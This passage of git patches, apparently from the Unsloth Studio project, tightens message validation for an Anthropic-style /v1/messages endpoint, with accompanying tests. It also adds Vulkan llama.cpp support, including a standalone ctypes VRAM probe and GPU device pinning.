user input. Assistant turns (replayed history) still accept unknown/thinking
blocks and coerce a null tool-only turn to empty. User turns keep the strict
boundary: a null user content is rejected, and a content block the converter
cannot translate is rejected instead of being dropped into an empty prompt.

Also remove an empty file committed by accident.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio /v1/messages: coalesce resumed user turns and tighten content checks

- The /v1/messages count and generation paths now coalesce the adjacent user
  turns that dropping an empty or null assistant turn can leave behind, so a
  strict GGUF chat template no longer 400s on non-alternating roles.
- A user content block with a non-string type (list / dict) is rejected as a
  clean 400 instead of raising TypeError and escaping as a 500.
- The assistant null-to-empty coercion only applies to an explicit null; an
  assistant turn that omits content entirely still fails required-field
  validation instead of being silently coerced to an empty string.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio /v1/messages: tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/models/inference.py            |  63 ++++++
 studio/backend/routes/inference.py            |  14 +-
 .../backend/tests/test_anthropic_messages.py  | 184 ++++++++++++++++++
 3 files changed, 257 insertions(+), 4 deletions(-)

diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 0f27b695fe..53b0f14b09 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -1533,12 +1533,41 @@ class AnthropicToolResultBlock(BaseModel):
     tool_use_id: str
     content: Union[str, list] = ""
 
+    @field_validator("content", mode = "before")
+    @classmethod
+    def _coerce_null_content(cls, v):
+        # Some clients send null content for an empty tool result; the str|list
+        # union would 400 on it, so treat null as "".
+        return "" if v is None else v
+
+
+# Block types the converter translates explicitly. Anything else (thinking /
+# redacted_thinking, a provider block a resumed session replays, or a future type)
+# is accepted as an unknown block and dropped by the converter, rather than 400-ing
+# the whole request on strict validation.
+_KNOWN_ANTHROPIC_BLOCK_TYPES = frozenset({"text", "image", "tool_use", "tool_result"})
+
+
+class AnthropicUnknownBlock(BaseModel):
+    type: str
+    model_config = {"extra": "allow"}
+
+    @field_validator("type")
+    @classmethod
+    def _only_unknown_types(cls, v):
+        # Known types parse as their typed models above (so a malformed known block
+        # still fails cleanly); this fallback only catches the rest.
+        if v in _KNOWN_ANTHROPIC_BLOCK_TYPES:
+            raise ValueError("known block type handled by its typed model")
+        return v
+
 
 AnthropicContentBlock = Union[
     AnthropicTextBlock,
     AnthropicImageBlock,
     AnthropicToolUseBlock,
     AnthropicToolResultBlock,
+    AnthropicUnknownBlock,
 ]
 
 
@@ -1583,6 +1612,40 @@ class AnthropicMessage(BaseModel):
     role: Literal["user", "assistant"]
     content: Union[str, list[AnthropicContentBlock]]
 
+    @model_validator(mode = "before")
+    @classmethod
+    def _normalize_content(cls, data):
+        # Role-aware leniency that never silently drops real user input:
+        #  - assistant: a resumed tool-only turn's null content -> "" (str|list would
+        #    400 on null; "" keeps the converter's `for block in content` safe).
+        #    Unknown blocks (thinking / future types) validate via
+        #    AnthropicUnknownBlock and are dropped by the converter.
+        #  - user: keep strict. Null user content stays None so str|list rejects it
+        #    (400) rather than forwarding an empty prompt; and reject block types the
+        #    converter cannot translate, since it silently skips unknown user blocks
+        #    -- a user turn made only of them would validate yet send no content
+        #    (silent data loss).
+        if not isinstance(data, dict):
+            return data
+        content = data.get("content")
+        if data.get("role") == "assistant":
+            # Coerce only an explicit null (resumed tool-only turn). A missing
+            # content key stays malformed so the required-field check still 400s.
+            if "content" in data and content is None:
+                return {**data, "content": ""}
+            return data
+        if isinstance(content, list):
+            for block in content:
+                btype = (
+                    block.get("type") if isinstance(block, dict) else getattr(block, "type", None)
+                )
+                # Guard the value: a non-string type is unsupported too, and a
+                # membership test on an unhashable value would raise TypeError
+                # (escaping as a 500 instead of a clean 400).
+                if not isinstance(btype, str) or btype not in _KNOWN_ANTHROPIC_BLOCK_TYPES:
+                    raise ValueError(f"unsupported content block type {btype!r} in a user message")
+        return data
+
 
 class AnthropicTool(BaseModel):
     # Client tools have input_schema; server tools may only have type/name.
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index d9901a5b2e..4bb9ce655e 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -10088,8 +10088,11 @@ async def anthropic_count_tokens(
     # Apply the same sanitization /messages does before generation, so the count
     # matches the prompt the real request would build (otherwise empty-assistant
     # sentinels / synthetic tool history inflate the count or hit the fallback).
-    openai_messages = _strip_provider_synthetic_tool_history(
-        _drop_empty_assistant_sentinels(openai_messages)
+    # Coalesce adjacent user turns left behind by dropping an empty / null assistant
+    # turn, so a strict GGUF chat template does not 400 on non-alternating roles
+    # (mirrors the GGUF chat path); a no-op for already-alternating histories.
+    openai_messages = _coalesce_consecutive_user_turns(
+        _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages))
     )
     openai_tools = anthropic_tools_to_openai(payload.tools or []) or None
 
@@ -10217,8 +10220,11 @@ async def anthropic_messages(
     # builders apply the same strip; without it an Anthropic /v1/messages caller
     # replaying a prior provider-side tool_use forwards fake builtin tool
     # history to a backend with no matching function declarations.
-    openai_messages = _strip_provider_synthetic_tool_history(
-        _drop_empty_assistant_sentinels(openai_messages)
+    # Coalesce adjacent user turns left behind by dropping an empty / null assistant
+    # turn, so a strict GGUF chat template does not 400 on non-alternating roles
+    # (mirrors the GGUF chat path); a no-op for already-alternating histories.
+    openai_messages = _coalesce_consecutive_user_turns(
+        _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages))
     )
 
     # Enforce vision guard + re-encode embedded images to PNG so the Anthropic
diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py
index 0c6550a3bb..54454f6563 100644
--- a/studio/backend/tests/test_anthropic_messages.py
+++ b/studio/backend/tests/test_anthropic_messages.py
@@ -1770,3 +1770,187 @@ class TestAnthropicMessagesToolRouting:
 
         _drive(anthropic_messages(payload, request = None, current_subject = "t"))
         assert backend.calls[0][0] == "plain"
+
+
+def test_resumed_session_thinking_and_null_content_do_not_400():
+    # A resumed session replays assistant turns with `thinking` (and sometimes null)
+    # content. Those must be accepted (thinking dropped by the converter), not 400ed.
+    from pydantic import ValidationError
+
+    req = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {"role": "user", "content": "hi"},
+            {
+                "role": "assistant",
+                "content": [
+                    {"type": "thinking", "thinking": "secret reasoning", "signature": "s"},
+                    {"type": "text", "text": "the answer"},
+                    {"type": "tool_use", "id": "t1", "name": "f", "input": {}},
+                ],
+            },
+            {"role": "assistant", "content": None},  # tool-only turn serialized as null
+        ],
+    )
+    # Known blocks still parse as their typed models; only the unknown one is loose.
+    assert type(req.messages[1].content[0]).__name__ == "AnthropicUnknownBlock"
+    assert type(req.messages[1].content[1]).__name__ == "AnthropicTextBlock"
+    assert req.messages[2].content == ""  # null coerced
+
+    openai = anthropic_messages_to_openai([m.model_dump() for m in req.messages])
+    assistant = next(m for m in openai if m["role"] == "assistant" and m.get("content"))
+    assert assistant["content"] == "the answer"
+    assert "secret reasoning" not in json.dumps(openai)  # thinking never forwarded
+
+    # A malformed KNOWN block still fails cleanly instead of being swallowed.
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [{"role": "assistant", "content": [{"type": "tool_use", "name": "f"}]}],
+        )
+
+
+def test_user_null_content_rejected():
+    # The null->"" leniency is assistant-only; a null user content must be rejected
+    # at the boundary, not coerced into an empty prompt and forwarded to the model.
+    from pydantic import ValidationError
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [{"role": "user", "content": None}],
+        )
+
+
+def test_user_unknown_block_rejected_not_silently_dropped():
+    # The converter skips user blocks it cannot translate, so a user turn whose only
+    # block is unknown would validate yet forward no content. Reject at the boundary
+    # to avoid that silent data loss (the assistant fallback is unaffected).
+    from pydantic import ValidationError
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [
+                {"role": "user", "content": [{"type": "document", "source": {}}]},
+            ],
+        )
+
+
+def test_user_translatable_blocks_still_accepted():
+    # text / image / tool_result are translatable, so a real user message built from
+    # them must still pass; the unknown-block guard only trips on other types.
+    req = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {
+                "role": "user",
+                "content": [
+                    {"type": "text", "text": "What is this?"},
+                    {
+                        "type": "image",
+                        "source": {"type": "base64", "media_type": "image/png", "data": "AA"},
+                    },
+                    {"type": "tool_result", "tool_use_id": "t1", "content": "ok"},
+                ],
+            }
+        ],
+    )
+    assert [type(b).__name__ for b in req.messages[0].content] == [
+        "AnthropicTextBlock",
+        "AnthropicImageBlock",
+        "AnthropicToolResultBlock",
+    ]
+
+    openai = anthropic_messages_to_openai([m.model_dump() for m in req.messages])
+    assert any(m["role"] == "tool" and m["tool_call_id"] == "t1" for m in openai)
+
+
+def test_user_malformed_known_block_still_rejected():
+    # The guard only allow-lists a user block's *type*; the union still validates its
+    # shape, so a known-but-malformed block (tool_result without tool_use_id) fails.
+    from pydantic import ValidationError
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [
+                {"role": "user", "content": [{"type": "tool_result", "content": "x"}]},
+            ],
+        )
+
+
+def test_user_content_block_non_string_type_rejected_cleanly():
+    # A user block whose `type` is a non-string (unhashable list / dict, or a stray
+    # int) must fail as a clean validation error, not raise TypeError from the
+    # frozenset membership test and escape as a 500.
+    from pydantic import ValidationError
+    for bad_type in ([], {}, 5):
+        with pytest.raises(ValidationError):
+            AnthropicMessagesRequest(
+                model = "x",
+                max_tokens = 16,
+                messages = [{"role": "user", "content": [{"type": bad_type}]}],
+            )
+
+
+def test_assistant_missing_content_key_still_rejected():
+    # The null -> "" leniency is only for an EXPLICIT null. An assistant message that
+    # omits content entirely stays malformed and must fail required-field validation.
+    from pydantic import ValidationError
+
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [{"role": "assistant"}],
+        )
+    # An explicit null is still accepted and coerced (regression guard).
+    req = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {"role": "user", "content": "hi"},
+            {"role": "assistant", "content": None},
+        ],
+    )
+    assert req.messages[1].content == ""
+
+
+def test_resumed_null_assistant_between_users_coalesced_on_messages_route(monkeypatch):
+    # user -> assistant(null) -> user is now accepted: the null assistant turn coerces
+    # to "" and is dropped. The route must then coalesce the two remaining user turns
+    # so a strict GGUF chat template does not 400 on non-alternating roles.
+    backend = _mock_backend(monkeypatch, context_length = 2048)
+
+    class _Req:
+        state = SimpleNamespace()
+        url = SimpleNamespace(path = "/v1/messages")
+        method = "POST"
+
+        async def is_disconnected(self):
+            return False
+
+    payload = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {"role": "user", "content": "first question"},
+            {"role": "assistant", "content": None},
+            {"role": "user", "content": "please continue"},
+        ],
+    )
+
+    response = _drive(anthropic_messages(payload, request = _Req(), current_subject = "t"))
+    assert response.status_code == 200
+
+    [(_path, kwargs)] = backend.calls
+    user_turns = [m for m in kwargs["messages"] if m.get("role") == "user"]
+    assert len(user_turns) == 1  # the two user turns were merged, not left adjacent
+    merged = user_turns[0]["content"]
+    if isinstance(merged, list):
+        merged = " ".join(p.get("text", "") for p in merged if isinstance(p, dict))
+    assert "first question" in merged and "please continue" in merged

From 350233512092fc6847b42050b7768f5f5e9a4578 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Thu, 9 Jul 2026 07:39:48 -0300
Subject: [PATCH 285/306] Studio: add Vulkan llama.cpp support (#5819)

* Studio: add Vulkan llama.cpp support

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address gemini's feedback

* Studio: move the Vulkan VRAM probe into a standalone script

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Improve Vulkan probe error reporting

* Resolve llama-server symlink so Vulkan build is detected

* Drop unreachable Vulkan fallback in GPU free-memory dispatcher

* Skip the Intel GPU probe when NVIDIA or ROCm is present

* Reserve host RAM headroom for Vulkan integrated GPUs

* Add a `UNSLOTH_FORCE_VULKAN` environment variable

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Honor GGML_VK_VISIBLE_DEVICES, reserve discrete Vulkan VRAM headroom, and clear Intel GPU on --cpu-fallback

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Route Intel and forced-Vulkan hosts to the upstream Vulkan prebuilt, add arm64 Vulkan, keep Vulkan out of RAG auto-detect

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Clear the fork release pin when routing a Vulkan host to the upstream repo

* Gate auto-Vulkan routing on no physical NVIDIA so hidden CUDA devices aren't used

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pin Vulkan launches with --device Vulkan<i> instead of the raw GGML_VK_VISIBLE_DEVICES index space

* Let user --device override the Vulkan pin, and gate direct Vulkan asset picks on no physical NVIDIA

* Update RAG auto-backend test mocks for the _resolve_auto binary and Vulkan probes

* Keep the add_dll_directory handle alive through the Vulkan probe DLL loads

* Revert RAG auto Vulkan guard, guard multi-backend Vulkan detection, and preserve forced Vulkan across updates

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Use getattr for RTLD_GLOBAL in the Vulkan probe CDLL mode

* Skip CUDA/ROCm APU and datacenter GPU tuning on Vulkan builds

On a Vulkan llama.cpp build gpu_indices are ggml compact ordinals, not
CUDA/ROCm physical ids, so _amd_apu_wants_unified_memory and
_apply_datacenter_env were reading the wrong device. On a mixed AMD APU
plus discrete GPU host that could raise a spurious system-RAM shortfall
and block a valid discrete-GPU load. Gate all three call sites on
not is_vulkan_backend; the Vulkan path already reserves iGPU host
headroom and the backend ignores GGML_CUDA_* anyway.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten Vulkan-guard comment in load_model

* Reduce comments in Vulkan support to be more succinct

* Resolve shell-wrapper llama-server entrypoint to the real lib dir

create_exec_entrypoint falls back to a #!/bin/sh wrapper at the install
root when it cannot symlink into build/bin. _find_llama_server_binary
returns that root entrypoint, but Path.resolve() does not follow a shell
wrapper, so _llama_lib_dir returned the install root and _is_vulkan_backend
missed libggml-vulkan.so -- silently skipping the Vulkan probe and --device
pin on an otherwise valid Vulkan install. Follow the wrapper's exec target
to build/bin. Regression test: test_shell_wrapper_entrypoint_resolves_to_real_lib_dir.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
---
 .../backend/core/inference/_vulkan_probe.py   | 110 ++++++++
 studio/backend/core/inference/llama_cpp.py    | 246 ++++++++++++++++--
 .../tests/test_install_resolve_prebuilt.py    | 170 ++++++++++++
 studio/backend/tests/test_llama_cpp_update.py |  42 +++
 .../tests/test_llama_cpp_vulkan_probe.py      | 193 ++++++++++++++
 studio/backend/utils/llama_cpp_update.py      |   6 +
 studio/install_llama_prebuilt.py              | 243 ++++++++++++++++-
 7 files changed, 984 insertions(+), 26 deletions(-)
 create mode 100644 studio/backend/core/inference/_vulkan_probe.py
 create mode 100644 studio/backend/tests/test_llama_cpp_vulkan_probe.py

diff --git a/studio/backend/core/inference/_vulkan_probe.py b/studio/backend/core/inference/_vulkan_probe.py
new file mode 100644
index 0000000000..706346daad
--- /dev/null
+++ b/studio/backend/core/inference/_vulkan_probe.py
@@ -0,0 +1,110 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Standalone free-VRAM probe for the bundled ggml Vulkan backend.
+
+Run in a short-lived subprocess (``python _vulkan_probe.py <bindir>``) so the
+Vulkan instance never lives in the long-running backend process. Loads the
+bundled ggml Vulkan backend from ``<bindir>`` and prints one
+``<idx>\\t<free_bytes>\\t<is_igpu>\\t<total_bytes>`` line per device to stdout.
+Indices are ggml's own Vulkan device ordinals, which need not match nvidia-smi
+order. ``is_igpu`` (from ggml's device type) is ``1`` for an integrated GPU
+sharing system RAM. ``total_bytes`` is the device-local heap; the reader uses
+it to reserve absolute headroom on a discrete card (parity with the CUDA/ROCm
+fit) and ignores it for an iGPU, whose "VRAM" is shared system RAM.
+
+Uses only the standard library so it stays runnable as a bare script.
+"""
+
+import ctypes
+import os
+import sys
+
+# ggml_backend_dev_type enum (ggml-backend.h): CPU=0, GPU=1, IGPU=2, ...
+_GGML_BACKEND_DEVICE_TYPE_IGPU = 2
+
+
+def _igpu_flags(base, lib, count: int) -> list[bool]:
+    """Per-device integrated-GPU flags via ggml's backend registry.
+
+    The Vulkan reg enumerates devices in the same order as
+    ``ggml_backend_vk_get_device_memory`` (each context uses ``ctx->device =
+    i``), so reg index == device ordinal. Returns all-False on any failure so
+    the reader never over-caps a discrete card.
+    """
+    flags = [False] * count
+    try:
+        lib.ggml_backend_vk_reg.restype = ctypes.c_void_p
+        lib.ggml_backend_vk_reg.argtypes = []
+        base.ggml_backend_reg_dev_count.restype = ctypes.c_size_t
+        base.ggml_backend_reg_dev_count.argtypes = [ctypes.c_void_p]
+        base.ggml_backend_reg_dev_get.restype = ctypes.c_void_p
+        base.ggml_backend_reg_dev_get.argtypes = [ctypes.c_void_p, ctypes.c_size_t]
+        base.ggml_backend_dev_type.restype = ctypes.c_int
+        base.ggml_backend_dev_type.argtypes = [ctypes.c_void_p]
+
+        reg = lib.ggml_backend_vk_reg()
+        if not reg:
+            return flags
+        dev_count = base.ggml_backend_reg_dev_count(reg)
+        for i in range(min(count, dev_count)):
+            dev = base.ggml_backend_reg_dev_get(reg, i)
+            if dev:
+                flags[i] = base.ggml_backend_dev_type(dev) == _GGML_BACKEND_DEVICE_TYPE_IGPU
+    except Exception:
+        # Best-effort: any failure degrades to "discrete" so the memory
+        # readings still get through instead of crashing the probe.
+        pass
+    return flags
+
+
+def main() -> int:
+    if len(sys.argv) < 2:
+        return 0
+    bindir = sys.argv[1]
+
+    # Hold add_dll_directory's handle for the rest of main() (the documented
+    # idiom) so bindir stays on the search path while the sibling ggml DLLs
+    # resolve below.
+    _dll_dir = None
+    if sys.platform == "win32":
+        base_name, vk_name = "ggml-base.dll", "ggml-vulkan.dll"
+        try:
+            _dll_dir = os.add_dll_directory(bindir)
+        except Exception:
+            pass
+    else:
+        base_name, vk_name = "libggml-base.so", "libggml-vulkan.so"
+
+    # RTLD_GLOBAL exposes ggml-base's symbols to ggml-vulkan on POSIX. getattr
+    # falls back to 0 where the flag doesn't exist (Windows CDLL ignores mode).
+    _rtld_global = getattr(ctypes, "RTLD_GLOBAL", 0)
+    try:
+        base = ctypes.CDLL(os.path.join(bindir, base_name), mode = _rtld_global)
+        lib = ctypes.CDLL(os.path.join(bindir, vk_name), mode = _rtld_global)
+    except OSError as e:
+        print(f"ggml-vulkan load failed: {e}", file = sys.stderr)
+        return 1
+
+    lib.ggml_backend_vk_get_device_count.restype = ctypes.c_int
+    lib.ggml_backend_vk_get_device_count.argtypes = []
+    lib.ggml_backend_vk_get_device_memory.restype = None
+    lib.ggml_backend_vk_get_device_memory.argtypes = [
+        ctypes.c_int,
+        ctypes.POINTER(ctypes.c_size_t),
+        ctypes.POINTER(ctypes.c_size_t),
+    ]
+
+    count = lib.ggml_backend_vk_get_device_count()
+    igpu = _igpu_flags(base, lib, count)
+    rows = []
+    for i in range(count):
+        free, total = ctypes.c_size_t(0), ctypes.c_size_t(0)
+        lib.ggml_backend_vk_get_device_memory(i, ctypes.byref(free), ctypes.byref(total))
+        rows.append("%d\t%d\t%d\t%d" % (i, free.value, int(igpu[i]), total.value))
+    sys.stdout.write("\n".join(rows))
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index f61402aa5c..3ba9eff857 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1436,6 +1436,50 @@ def _backfill_usage_from_timings(usage, timings):
     return out
 
 
+def _vulkan_lib_filename() -> str:
+    return "ggml-vulkan.dll" if sys.platform == "win32" else "libggml-vulkan.so"
+
+
+# Host RAM to leave free on an integrated GPU, matching llama.cpp's own --fit
+# margin (default 1024 MiB per device). ggml reports an iGPU's "VRAM" as shared
+# system RAM, so hold back the same margin rather than inventing a larger one.
+_IGPU_HOST_RESERVE_MIB = 1024
+
+
+def _apply_igpu_host_reserve_mib(free_mib: int, is_igpu: bool) -> int:
+    """Reserve host headroom on an integrated (shared-memory) Vulkan GPU.
+
+    An iGPU's reported free "VRAM" is really free system RAM, so sizing
+    context/offload against all of it would push the host into swap or the OOM
+    killer. Leave the same margin llama.cpp's --fit uses. ``is_igpu`` comes from
+    ggml's device type, so a discrete card is never touched; only ever reduces.
+    """
+    if not is_igpu:
+        return free_mib
+    return max(0, free_mib - _IGPU_HOST_RESERVE_MIB)
+
+
+def _llama_lib_dir(binary: str) -> Path:
+    # The installer exposes llama-server as a top-level entrypoint into build/bin/,
+    # where the ggml backend libs live, so callers looking for sibling libs (Vulkan
+    # detection, LD_LIBRARY_PATH, probe bindir) need the real dir. It is normally a
+    # symlink (resolve() reaches build/bin), but create_exec_entrypoint falls back to
+    # a shell wrapper (exec "$(dirname "$0")/build/bin/llama-server" "$@") when it
+    # cannot symlink, and resolve() stops at the wrapper file. Follow the wrapper's
+    # exec target too, so a wrapper-based install still finds build/bin.
+    resolved = Path(binary).resolve()
+    try:
+        with open(resolved, "rb") as _f:
+            _head = _f.read(256)
+        if _head.startswith(b"#!"):
+            _m = re.search(r'exec "\$\(dirname "\$0"\)/([^"]+)"', _head.decode("utf-8", "ignore"))
+            if _m:
+                return (resolved.parent / _m.group(1)).resolve().parent
+    except OSError:
+        pass
+    return resolved.parent
+
+
 def _is_external_link(path: Path) -> bool:
     """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
     or a Windows directory junction / reparse point. Such a link resolves into
@@ -2278,6 +2322,30 @@ class LlamaCppBackend:
 
         return total
 
+    @staticmethod
+    def _is_vulkan_backend(binary: Optional[str] = None) -> bool:
+        """True if the installed llama.cpp build is Vulkan-only.
+
+        The official prebuilts are single-backend, so the Vulkan ggml lib next
+        to llama-server identifies a Vulkan build. Keeps the free-memory probe
+        and GPU pin in ggml's Vulkan device-index space. For a custom
+        multi-backend build with a CUDA or HIP ggml lib alongside Vulkan, defer
+        to that backend (torch-usable, better-understood probe/pin).
+        """
+        binary = binary or LlamaCppBackend._find_llama_server_binary()
+        if not binary:
+            return False
+        lib_dir = _llama_lib_dir(binary)
+        if not (lib_dir / _vulkan_lib_filename()).is_file():
+            return False
+        for _backend in ("cuda", "hip"):
+            sibling = (
+                f"ggml-{_backend}.dll" if sys.platform == "win32" else f"libggml-{_backend}.so"
+            )
+            if (lib_dir / sibling).is_file():
+                return False
+        return True
+
     @staticmethod
     def _resolve_visible_physical_ids() -> Optional[list[int]]:
         """Physical GPU ids behind the active visibility mask (HIP/ROCR/CUDA on
@@ -2440,11 +2508,42 @@ class LlamaCppBackend:
         return True
 
     @staticmethod
-    def _get_gpu_free_memory() -> list[tuple[int, int]]:
+    def _visible_devices_mask(env_name: str) -> Optional[set[int]]:
+        """Physical indices a ``*_VISIBLE_DEVICES`` mask permits, or None if unset.
+
+        ``if x.strip()`` filters trailing-comma masks ("0,1,"); an empty mask
+        ("") yields an empty set (all devices hidden), distinct from an unset
+        var (None, no mask). Used by the nvidia-smi probe.
+        """
+        raw = os.environ.get(env_name)
+        if raw is None:
+            return None
+        try:
+            return set(int(x.strip()) for x in raw.split(",") if x.strip())
+        except ValueError:
+            return None
+
+    @staticmethod
+    def _vulkan_pin_args(gpu_indices: Optional[Iterable[int]]) -> list[str]:
+        """``--device Vulkan<i>,...`` to pin a Vulkan launch to selected GPUs.
+
+        The indices are ggml's compact Vulkan ordinals (as _get_gpu_free_memory
+        reports and the registry names ``Vulkan<i>``). Pin by that name, NOT via
+        GGML_VK_VISIBLE_DEVICES: ggml parses that env var in the raw
+        vkEnumeratePhysicalDevices space (before dropping CPU/llvmpipe devices
+        and deduplicating ICDs), so a compact ordinal there could select a
+        different physical device or the CPU rasterizer.
+        """
+        if not gpu_indices:
+            return []
+        return ["--device", ",".join(f"Vulkan{i}" for i in gpu_indices)]
+
+    @staticmethod
+    def _get_gpu_free_memory(binary: Optional[str] = None) -> list[tuple[int, int]]:
         """Query free memory per GPU. Returns ``(gpu_index, free_mib)`` sorted by
         index; empty if no supported GPU is reachable. Thin wrapper over
         ``_get_gpu_memory`` for callers that only need free VRAM."""
-        return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory()]
+        return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory(binary)]
 
     @staticmethod
     def _apple_metal_memory_budget_bytes() -> int:
@@ -2475,7 +2574,7 @@ class LlamaCppBackend:
         return int(rec_bytes * _APPLE_UNIFIED_MEMORY_FRACTION)
 
     @staticmethod
-    def _get_gpu_memory() -> list[tuple[int, int, int]]:
+    def _get_gpu_memory(binary: Optional[str] = None) -> list[tuple[int, int, int]]:
         """Query free AND total memory per GPU.
 
         Order:
@@ -2487,9 +2586,18 @@ class LlamaCppBackend:
              probe returned [] on AMD) and NVIDIA hosts missing
              ``nvidia-smi`` from PATH.
 
+        On a Vulkan build the ggml Vulkan probe is authoritative, so the indices
+        are ggml's compact Vulkan ordinals (the space the pin selects via
+        ``--device Vulkan<i>``). It reports ``total`` for discrete cards and 0
+        for an iGPU (shared RAM) so the fit falls back to free*frac there.
+        Otherwise nvidia-smi / torch cover NVIDIA + AMD ROCm.
+
         Returns (gpu_index, free_mib, total_mib) sorted by index; empty if no
-        supported GPU is reachable. ``total`` lets the fit reserve absolute headroom.
+        supported GPU is reachable.
         """
+        binary = binary or LlamaCppBackend._find_llama_server_binary()
+        if LlamaCppBackend._is_vulkan_backend(binary):
+            return LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
         # ── NVIDIA via nvidia-smi ────────────────────────────────────
         try:
             result = subprocess.run(
@@ -2505,16 +2613,7 @@ class LlamaCppBackend:
                 **_windows_hidden_subprocess_kwargs(),
             )
             if result.returncode == 0:
-                allowed: Optional[set[int]] = None
-                cvd = os.environ.get("CUDA_VISIBLE_DEVICES")
-                if cvd is not None:
-                    try:
-                        # `if x.strip()` filters trailing-comma masks ("0,1,").
-                        # Empty mask (CVD="") yields an empty set -> all GPUs
-                        # filtered out, per codebase convention.
-                        allowed = set(int(x.strip()) for x in cvd.split(",") if x.strip())
-                    except ValueError:
-                        pass
+                allowed = LlamaCppBackend._visible_devices_mask("CUDA_VISIBLE_DEVICES")
                 gpus: list[tuple[int, int, int]] = []
                 for line in result.stdout.strip().splitlines():
                     parts = [p.strip() for p in line.split(",")]
@@ -2579,6 +2678,91 @@ class LlamaCppBackend:
             logger.debug(f"torch GPU probe failed: {e}")
             return []
 
+    @staticmethod
+    def _get_gpu_free_memory_vulkan(binary: Optional[str] = None) -> list[tuple[int, int, int]]:
+        """Query free (and total) VRAM per device via the bundled ggml Vulkan backend.
+
+        Loads ``libggml-vulkan`` in a short-lived subprocess (no Vulkan instance
+        in this process) and returns (device_index, free_mib, total_mib) sorted
+        by index. The index is ggml's compact Vulkan ordinal -- the one the
+        registry names ``Vulkan<index>`` and load_model pins with ``--device``,
+        NOT the raw ``GGML_VK_VISIBLE_DEVICES`` space. A user-set
+        ``GGML_VK_VISIBLE_DEVICES`` is honored by ggml (passed through), so the
+        list already reflects it. iGPUs leave a host-RAM margin (see
+        ``_apply_igpu_host_reserve_mib``) and report total 0; discrete cards pass
+        their real total through. [] when no Vulkan build or device is reachable.
+        """
+        binary = binary or LlamaCppBackend._find_llama_server_binary()
+        if not binary:
+            return []
+        binary_dir = _llama_lib_dir(binary)
+        if not (binary_dir / _vulkan_lib_filename()).is_file():
+            return []
+
+        env = child_env_without_native_path_secret()
+        # Pass any inherited GGML_VK_VISIBLE_DEVICES through to ggml unchanged so
+        # the probe enumerates the same device list the launch will, named
+        # Vulkan0..N in the compact order reported here and pinned by that name
+        # via --device -- probe, mask, and pin stay in one index space. Do NOT
+        # filter the mask in Python: ggml parses the env var in raw
+        # vkEnumeratePhysicalDevices space while this probe reports the compact
+        # post-filter ordinal, so a Python filter would compare mismatched spaces.
+        if sys.platform != "win32":
+            # Let the loader resolve sibling ggml libs next to the binary.
+            existing_ld = env.get("LD_LIBRARY_PATH", "")
+            env["LD_LIBRARY_PATH"] = (
+                f"{binary_dir}:{existing_ld}" if existing_ld else str(binary_dir)
+            )
+        probe_script = Path(__file__).with_name("_vulkan_probe.py")
+        try:
+            result = subprocess.run(
+                [sys.executable, str(probe_script), str(binary_dir)],
+                capture_output = True,
+                text = True,
+                timeout = 15,
+                env = env,
+                **_windows_hidden_subprocess_kwargs(),
+            )
+            if result.returncode != 0:
